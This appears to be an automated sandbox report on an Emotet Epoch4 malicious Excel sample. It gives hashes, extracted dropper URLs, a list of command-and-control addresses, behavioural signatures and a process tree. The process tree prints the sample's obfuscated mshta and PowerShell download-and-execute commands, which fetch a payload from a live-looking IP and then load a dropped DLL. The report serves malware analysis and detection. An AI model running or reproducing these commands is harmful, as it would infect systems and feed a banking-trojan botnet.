emotet | a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b

General

Target

a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b.xls
Size

142KB
MD5

5bffdae22f776d781cab2ad5309a6154
SHA1

7943586d63be16066060c5482073b1313cbc78b0
SHA256

a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b
SHA512

7d1d540e1bb3c4850ae18c0d1fd80082c17b18e4d6c5992c8265ea2c6ba93bce1338669f82ad13115feb56c962bdd3e389173b97c484b325187d482438a4d7e8

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2648	2660	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

39 652 mshta.exe
42 3560 powershell.exe
44 3560 powershell.exe
46 3560 powershell.exe
51 3792 rundll32.exe
53 3792 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3084 rundll32.exe
3128 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Llpletwmxhlqus\mzrf.ewh rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2076 652 WerFault.exe mshta.exe

flow	pid	process
39	652	mshta.exe
42	3560	powershell.exe
44	3560	powershell.exe
46	3560	powershell.exe
51	3792	rundll32.exe
53	3792	rundll32.exe

pid	process
3084	rundll32.exe
3128	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Llpletwmxhlqus\mzrf.ewh	rundll32.exe

pid	pid_target	process	target process
2076	652	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2660 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3560	powershell.exe
3560	powershell.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
2076	WerFault.exe
3560	powershell.exe
3792	rundll32.exe
3792	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3560 powershell.exe
Token: SeDebugPrivilege 2076 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	2076	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE
2660	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2660 wrote to memory of 900	2660	EXCEL.EXE	splwow64.exe
PID 2660 wrote to memory of 900	2660	EXCEL.EXE	splwow64.exe
PID 2660 wrote to memory of 2648	2660	EXCEL.EXE	cmd.exe
PID 2660 wrote to memory of 2648	2660	EXCEL.EXE	cmd.exe
PID 2648 wrote to memory of 652	2648	cmd.exe	mshta.exe
PID 2648 wrote to memory of 652	2648	cmd.exe	mshta.exe
PID 652 wrote to memory of 3560	652	mshta.exe	powershell.exe
PID 652 wrote to memory of 3560	652	mshta.exe	powershell.exe
PID 3560 wrote to memory of 3064	3560	powershell.exe	cmd.exe
PID 3560 wrote to memory of 3064	3560	powershell.exe	cmd.exe
PID 3064 wrote to memory of 3084	3064	cmd.exe	rundll32.exe
PID 3064 wrote to memory of 3084	3064	cmd.exe	rundll32.exe
PID 3064 wrote to memory of 3084	3064	cmd.exe	rundll32.exe
PID 3084 wrote to memory of 3128	3084	rundll32.exe	rundll32.exe
PID 3084 wrote to memory of 3128	3084	rundll32.exe	rundll32.exe
PID 3084 wrote to memory of 3128	3084	rundll32.exe	rundll32.exe
PID 3128 wrote to memory of 1776	3128	rundll32.exe	rundll32.exe
PID 3128 wrote to memory of 1776	3128	rundll32.exe	rundll32.exe
PID 3128 wrote to memory of 1776	3128	rundll32.exe	rundll32.exe
PID 1776 wrote to memory of 3792	1776	rundll32.exe	rundll32.exe
PID 1776 wrote to memory of 3792	1776	rundll32.exe	rundll32.exe
PID 1776 wrote to memory of 3792	1776	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a94875a62546e0ff04e0a0ff648b48bc6ad7071b539a8d41c8d1176ce4e1252b.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:900

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3560

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3084

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Llpletwmxhlqus\mzrf.ewh",sbPgDJlRZZtXL
8⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Llpletwmxhlqus\mzrf.ewh",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3792

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 652 -s 1664
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll
MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll
MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
memory/1776-621-0x0000000000920000-0x0000000000946000-memory.dmp

Filesize
152KB

Download
memory/2660-122-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-662-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-132-0x00007FFEF1380000-0x00007FFEF1390000-memory.dmp

Filesize
64KB

Download
memory/2660-665-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-118-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-664-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-663-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-131-0x00007FFEF1380000-0x00007FFEF1390000-memory.dmp

Filesize
64KB

Download
memory/2660-119-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-121-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/2660-120-0x00007FFEF4630000-0x00007FFEF4640000-memory.dmp

Filesize
64KB

Download
memory/3084-609-0x0000000002E30000-0x0000000002E56000-memory.dmp

Filesize
152KB

Download
memory/3128-613-0x0000000004AE0000-0x0000000004B06000-memory.dmp

Filesize
152KB

Download
memory/3128-611-0x0000000003050000-0x0000000003076000-memory.dmp

Filesize
152KB

Download
memory/3560-563-0x0000027E599D0000-0x0000027E599D2000-memory.dmp

Filesize
8KB

Download
memory/3560-586-0x0000027E71F00000-0x0000027E71F76000-memory.dmp

Filesize
472KB

Download
memory/3560-554-0x0000027E59910000-0x0000027E59932000-memory.dmp

Filesize
136KB

Download
memory/3560-564-0x0000027E599D3000-0x0000027E599D5000-memory.dmp

Filesize
8KB

Download
memory/3560-591-0x0000027E599D6000-0x0000027E599D8000-memory.dmp

Filesize
8KB

Download
memory/3560-575-0x0000027E59990000-0x0000027E599CC000-memory.dmp

Filesize
240KB

Download
memory/3792-632-0x0000000004830000-0x0000000004856000-memory.dmp

Filesize
152KB

Download
memory/3792-638-0x0000000004AD0000-0x0000000004AF6000-memory.dmp

Filesize
152KB

Download
memory/3792-640-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

Filesize
152KB

Download
memory/3792-642-0x0000000004C30000-0x0000000004C56000-memory.dmp

Filesize
152KB

Download
memory/3792-636-0x00000000049F0000-0x0000000004A16000-memory.dmp

Filesize
152KB

Download
memory/3792-634-0x0000000004910000-0x0000000004936000-memory.dmp

Filesize
152KB

Download
memory/3792-630-0x0000000004750000-0x0000000004776000-memory.dmp

Filesize
152KB

Download
memory/3792-625-0x0000000000720000-0x0000000000746000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads